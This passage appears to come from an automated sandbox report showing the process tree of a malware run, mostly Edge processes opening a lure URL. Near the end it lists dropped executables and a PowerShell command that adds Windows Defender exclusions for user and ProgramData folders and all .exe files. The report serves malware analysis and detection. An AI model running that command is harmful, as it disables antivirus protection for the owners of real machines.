  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://onepiecered.co/s?mH4q
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:4916
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fffb0f846f8,0x7fffb0f84708,0x7fffb0f84718
        5⤵
        
        PID:4196
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
        5⤵
        
        PID:2328
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1668
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2964 /prefetch:8
        5⤵
        
        PID:1624
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
        5⤵
        
        PID:4932
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
        5⤵
        
        PID:1804
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4980 /prefetch:1
        5⤵
        
        PID:4436
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4180 /prefetch:1
        5⤵
        
        PID:1760
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3112 /prefetch:1
        5⤵
        
        PID:816
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4816 /prefetch:1
        5⤵
        
        PID:1140
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
        5⤵
        
        PID:1276
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5852 /prefetch:1
        5⤵
        
        PID:4832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5640 /prefetch:8
        5⤵
        
        PID:4980
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,3282945770323490099,13605360170573811884,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5640 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1488
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://onepiecered.co/s?mH4q
      4⤵
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:5956
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fffb0f846f8,0x7fffb0f84708,0x7fffb0f84718
        5⤵
        
        PID:5992
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2232 /prefetch:2
        5⤵
        
        PID:2164
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 /prefetch:3
        5⤵
        
        PID:3100
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2872 /prefetch:8
        5⤵
        
        PID:3528
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
        5⤵
        
        PID:2424
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
        5⤵
        
        PID:5408
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5032 /prefetch:1
        5⤵
        
        PID:5836
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3480 /prefetch:1
        5⤵
        
        PID:5580
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5324 /prefetch:8
        5⤵
        
        PID:5792
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5324 /prefetch:8
        5⤵
        
        PID:2840
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5368 /prefetch:1
        5⤵
        
        PID:4432
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:1
        5⤵
        
        PID:320
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:1
        5⤵
        
        PID:2216
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5148 /prefetch:1
        5⤵
        
        PID:2344
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5588 /prefetch:1
        5⤵
        
        PID:3324
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5924 /prefetch:1
        5⤵
        
        PID:5384
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
        5⤵
        
        PID:556
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5668 /prefetch:1
        5⤵
        
        PID:3080
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5176 /prefetch:1
        5⤵
        
        PID:5084
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6388 /prefetch:1
        5⤵
        
        PID:4224
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5980 /prefetch:1
        5⤵
        
        PID:5252
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6404 /prefetch:1
        5⤵
        
        PID:5592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5636 /prefetch:1
        5⤵
        
        PID:4300
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6152 /prefetch:1
        5⤵
        
        PID:1156
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6776 /prefetch:1
        5⤵
        
        PID:3976
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6108 /prefetch:1
        5⤵
        
        PID:5148
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6336 /prefetch:1
        5⤵
        
        PID:5140
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5116 /prefetch:1
        5⤵
        
        PID:5284
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6880 /prefetch:1
        5⤵
        
        PID:1656
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:1
        5⤵
        
        PID:3148
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1
        5⤵
        
        PID:1692
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6340 /prefetch:1
        5⤵
        
        PID:1664
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
        5⤵
        
        PID:2016
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6100 /prefetch:1
        5⤵
        
        PID:1012
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2324 /prefetch:1
        5⤵
        
        PID:4772
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:1
        5⤵
        
        PID:5492
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5064 /prefetch:1
        5⤵
        
        PID:5732
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5644 /prefetch:1
        5⤵
        
        PID:1504
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6924 /prefetch:1
        5⤵
        
        PID:3180
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6228 /prefetch:1
        5⤵
        
        PID:5736
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1772,1391591217866344672,12105024021697466249,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6612 /prefetch:1
        5⤵
        
        PID:5624
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://onepiecered.co/s?mH4q
      4⤵
      PID:2620
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fffb0f846f8,0x7fffb0f84708,0x7fffb0f84718
        5⤵
        
        PID:2004
- C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe
  "C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3956

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2024

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3096

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:5456
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5468
- C:\Windows\system32\cmd.exe
